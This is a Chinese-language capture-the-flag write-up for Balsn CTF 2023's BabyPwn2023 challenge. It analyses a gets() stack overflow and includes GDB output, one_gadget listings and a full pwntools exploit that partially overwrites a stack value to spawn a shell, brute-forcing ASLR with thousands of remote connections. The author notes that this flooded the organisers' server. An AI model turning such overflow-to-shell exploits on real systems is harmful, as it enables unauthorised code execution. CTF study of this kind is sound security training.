0%

Balsn CTF 2023 Writeup

Balsn CTF 2023

前言

這次跟 Starburst Kiwawa 打,運氣不錯有台灣前三
我只解掉 BabyPwn2023,我猜是非預期解XD

BabyPwn2023

Analysis

程式很短,洞也很明顯
但問題是我們這次沒有 pop rdi; ret 可以幫我們控 rdi 來 leak libc

1
2
3
4
5
6
7
terry1234@Ubuntu22:~/balsn/baby_pwn/share$ checksec  chal
[*] '/home/terry1234/balsn/baby_pwn/share/chal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v5; // [rsp-28h] [rbp-28h] //wrong
__int64 v6; // [rsp-8h] [rbp-8h]

__asm { endbr64 }
v6 = v3;
setvbuf_0(_bss_start, 0LL, 2LL, 0LL);
gets_0(&v5); //rbp-0x20
puts_0("Baby PWN 2023 :)");
return 0;
}

Idea

首先我們可以先看看 main() ret 前 rdi 指向哪

發現他指向 _IO_stdfile_1_lock,上面沒東西、_IO_2_1_stdout 在它前面,我在賽中沒想到怎麼用,賽後看到 lys 在 #writeups 傳了用這個的解法,貌似改 _IO_stdfile_0_lock 就能 leak tls-storage
我看不懂,但我大受震撼

後面我翻到這篇 writeup
https://song-10.gitee.io/2019/12/04/pwn-2019-12-4-wiki-ROPTricks/#2018-XNUCA-gets

概念其實很簡單,就像平常在繞 PIE 那樣 partial overwrite 就好,不過 gets() 會把我們的 \n 換成 \x00,所以要注意一下這點,其他地方其實差不多。如果我們能把 stack 上的一個值透過 partial overwrite 變成 one_gadget,我們就可以 get shell
當然,由於上面提到的 gets() 的特性,我們會要跟 ASLR 碰運氣,但機率還在可以接受的範圍內,多送幾次總有機會成功。
這邊我用第一個 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

我們可以看看 stack 上有什麼值好蓋

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//libc base addr = 0x00007ffff7c00000
gef➤ telescope
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax ← $rsp
0x00007fffffffdee0│+0x0008: 0x0000000000000000
0x00007fffffffdee8│+0x0010: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdef0│+0x0018: 0x0000000100000000
0x00007fffffffdef8│+0x0020: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf00│+0x0028: 0x0000000000000000
0x00007fffffffdf08│+0x0030: 0x5dc9144616cd8aba
0x00007fffffffdf10│+0x0038: 0x00007fffffffdfe8 → 0x00007fffffffe33e → "/home/terry1234/balsn/baby_pwn/share/chal"
0x00007fffffffdf18│+0x0040: 0x0000000000401176 → <main+0> endbr64
0x00007fffffffdf20│+0x0048: 0x0000000000403dc8 → 0x0000000000401140 → <__do_global_dtors_aux+0> endbr64

gef➤
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000
0x00007fffffffdf30│+0x0058: 0xa236ebb9ab0f8aba
0x00007fffffffdf38│+0x0060: 0xa236fbc32c478aba
0x00007fffffffdf40│+0x0068: 0x00007fff00000000
0x00007fffffffdf48│+0x0070: 0x0000000000000000
0x00007fffffffdf50│+0x0078: 0x0000000000000000

0x00007fffffffdf58│+0x0080: 0x0000000000000000
0x00007fffffffdf60│+0x0088: 0x0000000000000000
0x00007fffffffdf68│+0x0090: 0xc3ae57ba9b7fd300
0x00007fffffffdf70│+0x0098: 0x0000000000000000

用 gdb 看可以發現 one_gadget 在這後面,蓋這裡會讓地址變低,撞不到 one_gadget

1
0x00007fffffffded8│+0x0000: 0x00007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax	 ← $rsp

這裡看起來有點機會(ld-linux-x86-64.so.2 通常會被加載到 libc.so.6 還高的 address)

1
2
3
4
5
6
gef➤  
0x00007fffffffdf28│+0x0050: 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000

//in ld-linux-x86-64.so.2
gef➤ x/gx 0x00007ffff7ffd040
0x7ffff7ffd040 <_rtld_global>: 0x00007ffff7ffe2e0

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

#p = process('./chal')
elf = ELF('./chal')

main = elf.symbols['main']
puts = elf.symbols['puts']
gets = elf.symbols['gets']
bss = elf.bss()
ret = 0x40101a

for i in range(0, 0x2000):
print(hex(i))
#p = process('./chal', timeout = 2)
p = remote('babypwn2023.balsnctf.com', 10105)
p.sendline(b'a' * 0x20 + p64(bss + 0x800) + p64(ret) * 10 + b'\x37\x8a')
p.recvuntil(b'Baby PWN 2023 :)\n')
p.sendline(b'cat /home/chall/flag')
try:
data = p.recv()
print(data)
p.interactive()
p.close()
except Exception:
p.close()
continue

主辦方其實有發了一篇公告表示 BabyPwn2023 的機器一直有不小的流量,如果持續下去的話可能會調整一些東西,但我解完才看到 qwq
在這邊跟主辦方說聲抱歉

賽後有去跟那題機器的 maintainer 聊,對方表示有另一隊也是跟我們用類似的方法,不過他們有 leak 東西,用 1/4096 左右的機率在炸